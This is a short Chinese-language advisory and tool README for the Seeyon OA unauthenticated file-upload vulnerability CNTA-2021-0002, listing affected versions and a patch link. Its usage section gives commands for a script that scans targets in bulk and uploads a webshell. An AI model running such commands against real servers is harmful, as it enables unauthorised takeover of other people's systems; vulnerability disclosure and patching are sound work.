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漏洞概述

由于致远OA旧版本某些接口存在未授权访问，以及部分函数存在过滤不足，攻击者通过构造恶意请求，可在无需登录的情况下上传恶意脚本文件，从而控制服务器。该漏洞的利用代码（POC）周末已在互联网上公开，致远OA官方已针对该漏洞提供补丁。

致远OA是一套办公协同软件。

漏洞编号

CNTA-2021-0002

漏洞影响范围

致远 OA V8.0

致远 OA V7.1、V7.1SP1

致远 OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3

致远 OA V6.0、V6.1SP1、V6.1SP2

致远 OA V5.x

漏洞综合评级

严重

安全建议

致远OA官方已发布补丁完成漏洞修复：

http://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=1

工具利用

python3 2021_0002.py --url http://127.0.0.1:1111 单独检测url是否存在漏洞

python3 2021_0002.py --file target.txt批量检测目标是否存在漏洞

python3 2021_0002.py --shell http://127.0.0.1:1111 向目标中上传webshell

免责声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。

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